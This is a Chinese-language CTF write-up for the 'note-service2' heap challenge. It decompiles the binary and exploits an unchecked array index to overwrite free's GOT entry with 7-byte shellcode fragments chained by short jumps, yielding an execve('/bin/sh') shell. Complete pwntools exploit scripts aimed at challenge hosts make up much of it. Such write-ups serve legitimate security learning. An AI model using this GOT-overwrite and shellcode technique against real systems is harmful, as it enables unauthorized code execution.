note-service2
准备

64位23版本的堆题
分析
main函数
1 2 3 4 5 6
| void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) { sub_BE0(a1, a2, a3); sub_C07(); sub_E30(); }
|
给了两个函数,主要的是下面那个函数
sub_E30函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| void __noreturn sub_E30() { while ( 1 ) { sub_C56(); printf("your choice>> "); switch ( (unsigned int)sub_B91() ) { case 1u: sub_CA5(); break; case 2u: sub_DC1(); break; case 3u: sub_DD4(); break; case 4u: sub_DE7(); break; case 5u: exit(0); default: puts("invalid choice"); break; } } }
|
先有一个菜单函数sub_C56,然后是5个选项,第5个是退出,前面四个分别对应了一个函数
sub_C56(菜单)函数
1 2 3 4 5 6 7 8 9
| int sub_C56() { puts("---------menu---------"); puts("1. add note"); puts("2. show note"); puts("3. edit note"); puts("4. del note"); return puts("5. exit"); }
|
提示语是有增删改查功能
1-sub_CA5(add)函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| __int64 sub_CA5() { __int64 size; // rax int v1; // [rsp+8h] [rbp-8h] unsigned int size_1; // [rsp+Ch] [rbp-4h]
size = (unsigned int)n11; if ( n11 >= 0 ) { size = (unsigned int)n11; if ( n11 <= 11 ) { printf("index:"); v1 = sub_B91(); printf("size:"); size = sub_B91(); size_1 = size; if ( (unsigned int)size <= 8 ) { s_0[v1] = malloc((int)size); if ( !s_0[v1] ) { puts("malloc error"); exit(0); } printf("content:"); sub_B69(s_0[v1], size_1); return (unsigned int)++n11; } } } return size; }
|
这里对输入的索引没有检查,所以存在数组越界,可以写在任意地址
下面对大小限制为最大为8
输入内容涉及到sub_B69函数,参数为s_0[v1]
, size_1 = size = max(8)
sub_B69函数
1 2 3 4
| __int64 __fastcall sub_B69(__int64 a1, unsigned int a2) { return sub_AC3(a1, a2, 10LL); }
|
涉及到sub_AC3函数,参数为a1 = s_0[v1]
, a2 = size_1 = size = max(8)
,10
sub_AC3函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| unsigned __int64 __fastcall sub_AC3(__int64 a1, int a2, char buf_1) { char buf; // [rsp+13h] [rbp-Dh] BYREF int i; // [rsp+14h] [rbp-Ch] unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u); for ( i = 0; a2 - 1 > i; ++i ) { read(0, &buf, 1uLL); if ( buf == buf_1 ) { *(_BYTE *)(i + a1) = 0; break; } *(_BYTE *)(a1 + i) = buf; } *(_BYTE *)(i + a1) = 0; return __readfsqword(0x28u) ^ v7; }
|
因为 a2 = size_1 = size = max(8)
,所以在这里
1
| for ( i = 0; a2 - 1 > i; ++i )
|
限制我们的内容输入最大为7字节
2-sub_DC1(show)函数
1 2 3 4
| int sub_DC1() { return puts("not implement"); }
|
发现这里并没有实现show功能
3-sub_DD4(edit)函数
1 2 3 4
| int sub_DD4() { return puts("not implement"); }
|
同样这里并没有实现edit功能
4-sub_DE7(delete)函数
1 2 3 4 5 6 7 8
| void sub_DE7() { int v0; // [rsp+Ch] [rbp-4h]
printf("index:"); v0 = sub_B91(); free((void *)s_0[v0]); }
|
释放堆块后,没有修改指针存在UAF漏洞
思路
这里只有增删功能,有UAF和数组越界,任意地址写,这里原本想法是用UAF但只有增删功能,不知道怎么去打,所以去学习了其他大佬的方法,不用UAF,下面是我自己的思路和整理
往堆里写入shellcode,对于输入的大小限制,使用汇编指令jmp指令中的jmp short来把shellcode进行拼接,写入的起始点是free_got处,这样最后释放带有’/bin/sh’的块就能触发连接
知识点:
jmp short(无条件短跳转)
范围
短跳转属于相对寻址,它通过相对于当前指令地址的偏移量来计算目标地址。具体来说:
- 偏移量用 8 位有符号数表示(-128 到 +127)
- 目标地址 = 当前指令地址(EIP) + 2(指令长度) + 偏移量
这种 8 位偏移量的限制使得短跳转的寻址范围非常有限,只能在当前指令的前 128 字节到后 127 字节之间跳转。
机器码
格式:
EB
是操作码(opcode),表示短跳转
XX
是 8 位有符号偏移量
shellcode构造:
execve(“/bin/sh”, NULL, NULL)
系统调用号rax
第一个参数rdi-“/bin/sh”
第二个参数rsi-NULL
第三个参数rdx-NULL
先创建一个0块,内容为’/bin/sh’,做准备
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context.arch = 'amd64' context.log_level = "debug" io=remote('61.147.171.105',56910) # io= process('/home/motaly/pwn')
def add(index,size,content): io.sendlineafter("your choice>>", "1") io.sendlineafter("index:", str(index)) io.sendlineafter("size:", str(size)) io.sendlineafter("content:", content)
def delete(index): io.sendlineafter("your choice>>", "4") io.sendlineafter("index:", str(index))
# execve("/bin/sh", NULL, NULL) rdi,rsi,rdx add(0,8,b'/bin/sh')
|
然后确定free_got的索引,因为写入的shellcode片段第一段就要在free_got处,这样子最后删除才能触发shellcode
查看ida,堆块输入在s_0中


输入点地址为0x2020A0

free_got的地址为0x202018
索引为(0x202018 - 0x2020A0) // 8 = -17
接着jmp short(无条件短跳转),要确跳转地址的偏移,这里我们是堆块间的跳转
先随便创建2个堆块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| from pwn import * context.arch = 'amd64' context.log_level = "debug" # io=remote('61.147.171.105',56910) io= process('/home/motaly/pwn')
def add(index,size,content): io.sendlineafter("your choice>>", "1") io.sendlineafter("index:", str(index)) io.sendlineafter("size:", str(size)) io.sendlineafter("content:", content)
def delete(index): io.sendlineafter("your choice>>", "4") io.sendlineafter("index:", str(index))
add(0,8,b'aaaa') add(0,8,b'aaaa') gdb.attach(io)
|

看到堆块间输入点的差值为0x20(32),这里我们统一输入最大字节为7字节,所以跳转的偏移是32-7=25(0x19)
下面开始写shellcode
1 2 3 4 5
| add(0,8,b'/bin/sh') add(-17,8,asm('xor rsi, rsi')+b'\x90\x90\xEB\x19') add(1,8,asm('xor rdx, rdx')+b'\x90\x90\xEB\x19') add(2,8,asm('mov eax, 59')+b'\xEB\x19') add(3,8,asm('syscall'))
|
清零操作选取xor 寄存器,寄存器指令,长度会小于mov 寄存器,0
这里通过这个语句进行验证
1 2 3
| print(len(asm('xor rsi, rsi'))) print(len(asm('mov rsi, 0'))) pause()
|

看到这里用mov就已经是7字节长度了,而用xor只有3字节长度
正因xor只有3字节加上后面跳转的'\xEB\x19'
这2个字节只有5个字节,但'\x19'
我们是按7字节算的,所以这里我补齐了两个字节'\x90\x90'
,我用的是nop(0x90),其他不影响操作的也行
(这只是我学习过来的写法,其他的能出的也是可以的,不局限)
最后 add(2,8,asm('mov eax, 59')+b'\xEB\x19')
这里不用补齐是因为前面 asm('mov eax, 59')
就已经是5字节了

(这里汇编指令顺序,因为都能出,所以就先不考虑具体好坏)
最后删除0块
1 2 3 4 5 6 7
| # execve("/bin/sh", NULL, NULL) rdi,rsi,rdx add(0,8,b'/bin/sh') add(-17,8,asm('xor rsi, rsi')+b'\x90\x90\xEB\x19') add(1,8,asm('xor rdx, rdx')+b'\x90\x90\xEB\x19') add(2,8,asm('mov eax, 59')+b'\xEB\x19') add(3,8,asm('syscall')) delete(0)
|
脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context.arch = 'amd64' context.log_level = "debug" io=remote('223.112.5.141',64780) # io= process('/home/motaly/pwn')
def add(index,size,content): io.sendlineafter("your choice>>", "1") io.sendlineafter("index:", str(index)) io.sendlineafter("size:", str(size)) io.sendlineafter("content:", content)
def delete(index): io.sendlineafter("your choice>>", "4") io.sendlineafter("index:", str(index))
# execve("/bin/sh", NULL, NULL) rdi,rsi,rdx add(0,8,b'/bin/sh') add(-17,8,asm('xor rsi, rsi')+b'\x90\x90\xEB\x19') add(1,8,asm('xor rdx, rdx')+b'\x90\x90\xEB\x19') add(2,8,asm('mov eax, 59')+b'\xEB\x19') add(3,8,asm('syscall')) delete(0) io.interactive()
|
不加填充
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| from pwn import * context.arch = 'amd64' context.log_level = "debug" io=remote('223.112.5.141',64780) # io= process('/home/motaly/pwn')
def add(index,size,content): io.sendlineafter("your choice>>", "1") io.sendlineafter("index:", str(index)) io.sendlineafter("size:", str(size)) io.sendlineafter("content:", content)
def delete(index): io.sendlineafter("your choice>>", "4") io.sendlineafter("index:", str(index))
# execve("/bin/sh", NULL, NULL) rdi,rsi,rdx add(0,8,b'/bin/sh') add(-17,8,asm('xor rsi, rsi')+b'\xEB\x1b') add(1,8,asm('xor rdx, rdx')+b'\xEB\x1b') add(2,8,asm('mov eax, 59')+b'\xEB\x19') add(3,8,asm('syscall')) delete(0) io.interactive()
|